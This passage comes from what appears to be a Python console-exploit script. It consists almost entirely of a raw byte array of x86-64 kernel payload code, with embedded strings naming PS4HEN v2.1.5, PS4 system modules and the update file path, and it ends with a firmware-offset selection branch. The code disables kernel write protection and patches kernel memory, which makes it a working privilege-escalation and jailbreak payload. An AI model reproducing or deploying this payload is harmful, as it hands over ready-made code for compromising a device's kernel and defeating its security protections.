131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,117,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,89,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,48,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,53,192,100,0,41,202,137,144,113,190,100,0,72,141,21,214,254,255,255,129,234,3,206,100,0,41,202,137,144,63,204,100,0,72,141,21,73,249,255,255,129,234,218,41,98,0,41,202,137,144,22,40,98,0,72,141,21,146,253,255,255,129,234,18,232,97,0,41,202,137,144,78,230,97,0,72,141,21,17,250,255,255,68,141,130,66,225,147,255,129,234,239,32,108,0,65,41,200,41,202,68,137,128,250,28,108,0,137,144,43,31,108,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,161,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,89,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,176,25,0,0,65,188,12,0,0,0,72,139,53,171,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,216,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,148,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,132,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,200,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,93,25,0,0,139,68,36,8,76,137,247,72,139,53,39,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,95,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,124,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,208,21,0,0,72,137,124,36,8,76,137,230,255,21,2,25,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,196,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,67,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,244,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,131,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,86,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,104,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,208,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,29,20,0,0,255,21,31,23,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,255,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,133,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,128,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,241,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,169,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,83,40,100,0,41,209,137,136,143,38,100,0,72,141,13,36,251,255,255,68,141,129,21,208,155,255,129,233,206,60,100,0,41,209,65,41,208,137,136,10,59,100,0,72,141,13,91,252,255,255,129,233,242,2,100,0,68,137,128,39,46,100,0,41,209,137,136,46,1,100,0,72,141,13,90,254,255,255,129,233,45,15,100,0,41,209,137,136,105,13,100,0,72,141,13,222,251,255,255,129,233,1,39,100,0,41,209,137,136,61,37,100,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,122,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,104,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,246,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,156,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,125,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,24,18,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,74,18,0,0,72,137,223,255,21,177,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,130,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,89,17,0,0,233,186,0,0,0,255,21,70,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,20,17,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,11,17,0,0,72,137,239,255,21,18,17,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,208,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,147,16,0,0,72,137,239,255,21,154,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,32,224,85,1,72,137,21,193,16,0,0,72,141,144,56,92,87,1,72,137,21,171,16,0,0,72,141,144,32,5,185,1,72,137,21,149,16,0,0,72,141,144,232,42,100,2,72,137,21,127,16,0,0,72,141,144,128,153,100,2,72,137,21,105,16,0,0,72,141,144,120,64,100,2,72,137,21,83,16,0,0,72,141,144,136,64,100,2,72,137,21,61,16,0,0,72,141,144,64,126,100,2,72,137,21,39,16,0,0,72,141,144,72,134,100,2,72,137,21,17,16,0,0,72,141,144,0,0,101,2,72,137,21,251,15,0,0,72,141,144,80,193,15,1,72,137,21,229,15,0,0,72,141,144,224,24,39,0,72,137,21,143,16,0,0,72,141,144,112,195,67,0,72,137,21,121,16,0,0,72,141,144,48,197,67,0,72,137,21,99,16,0,0,72,141,144,240,21,48,0,72,137,21,77,16,0,0,72,141,144,176,23,48,0,72,137,21,55,16,0,0,72,141,144,240,87,72,0,72,137,21,33,16,0,0,72,141,144,224,145,33,0,72,137,21,11,16,0,0,72,141,144,160,146,33,0,72,137,21,245,15,0,0,72,141,144,112,15,39,0,72,137,21,223,15,0,0,72,141,144,176,148,20,0,72,137,21,201,15,0,0,72,141,144,48,239,48,0,72,137,21,179,15,0,0,72,141,144,32,120,11,0,72,137,21,157,15,0,0,72,141,144,96,129,15,0,72,137,21,135,15,0,0,72,141,144,16,187,8,0,72,137,21,25,15,0,0,72,141,144,64,234,98,0,72,137,21,3,15,0,0,72,141,144,160,23,100,0,72,137,21,237,14,0,0,72,141,144,224,31,100,0,72,137,21,215,14,0,0,72,141,144,224,220,99,0,72,137,21,193,14,0,0,72,141,144,0,24,100,0,72,137,21,171,14,0,0,72,141,144,208,48,98,0,72,137,21,109,14,0,0,72,141,144,208,215,97,0,72,137,21,71,14,0,0,72,141,144,144,212,97,0,72,137,21,65,14,0,0,72,141,144,112,39,98,0,72,137,21,59,14,0,0,72,141,144,96,208,97,0,72,137,21,21,14,0,0,72,141,144,208,172,97,0,72,137,21,47,14,0,0,72,141,144,240,5,70,0,72,137,21,65,14,0,0,72,141,144,64,238,31,0,72,137,21,35,14,0,0,72,141,144,112,240,31,0,72,137,21,13,14,0,0,72,141,144,192,45,68,0,72,137,21,15,14,0,0,72,141,144,176,200,65,0,72,137,21,145,13,0,0,72,141,144,32,184,7,0,72,137,21,171,13,0,0,72,141,144,80,182,7,0,72,137,21,149,13,0,0,72,141,144,192,185,7,0,72,137,21,127,13,0,0,72,141,144,16,186,7,0,72,5,0,192,7,0,72,137,21,99,13,0,0,72,137,5,84,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,117,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,30,14,0,0,255,37,96,14,0,0,72,139,5,1,14,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,104,14,0,0,72,137,223,255,21,15,14,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,166,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,135,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,43,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,24,12,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,235,11,0,0,233,239,0,0,0,255,21,216,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,184,11,0,0,133,192,117,44,72,139,53,165,12,0,0,65,107,252,58,186,2,0,0,0,255,21,230,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,131,11,0,0,72,137,239,255,21,138,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,67,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,247,10,0,0,72,137,239,255,21,254,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,140,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,225,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,44,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,15,2,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,107,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,174,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,43,31,50,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,129,1,0,0,72,141,179,111,160,61,0,77,137,224,72,141,13,108,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,91,1,0,0,72,141,179,16,147,19,0,77,137,224,72,141,13,225,8,0,0,186,2,0,0,0,72,137,239,232,167,252,255,255,133,192,15,133,53,1,0,0,76,141,53,200,8,0,0,72,141,179,0,148,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,126,252,255,255,133,192,15,133,12,1,0,0,72,141,179,23,132,60,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,234,0,0,0,72,141,179,176,170,60,0,77,137,224,72,141,13,117,8,0,0,186,4,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,196,0,0,0,72,141,179,209,91,253,0,77,137,224,72,141,13,184,8,0,0,186,5,0,0,0,72,137,239,232,16,252,255,255,133,192,15,133,158,0,0,0,72,141,179,1,49,161,0,77,137,224,72,141,13,152,8,0,0,186,1,0,0,0,72,137,239,232,234,251,255,255,133,192,117,124,72,141,179,109,166,97,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,204,251,255,255,133,192,117,94,72,141,179,201,22,116,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,174,251,255,255,133,192,117,64,72,141,179,38,238,56,0,77,137,224,72,141,13,208,7,0,0,186,5,0,0,0,72,137,239,232,140,251,255,255,133,192,117,30,72,141,179,223,164,213,0,77,137,224,72,141,13,170,7,0,0,186,3,0,0,0,72,137,239,232,106,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,4,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,104,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,191,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,162,251,255,255,69,49,246,76,141,61,33,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,228,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,16,140,24,0,77,137,224,72,141,13,160,6,0,0,186,4,0,0,0,72,137,239,232,97,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,159,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,117,8,0,0,72,141,13,135,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,119,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,22,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,192,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,170,249,255,255,133,192,117,26,72,141,179,32,213,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,140,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,38,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,196,5,0,0,72,199,68,36,24,0,0,0,0,232,253,248,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,222,249,255,255,69,49,228,76,141,45,93,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,39,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,155,3,16,0,72,141,13,64,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,173,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,182,3,16,0,72,141,13,25,5,0,0,186,2,0,0,0,72,137,239,232,137,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,35,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,38,33,2,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,144,233,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,240,22,0,68,71,134,0,50,34,139,0,84,162,162,0,66,240,22,0,235,164,36,0,114,71,134,0,130,162,162,0,64,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,160,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,152,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,128,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
    elif args.fw in ('950', '951', '960'):
        offs = OffsetsFirmware_950_960()
        if args.gh == '1':
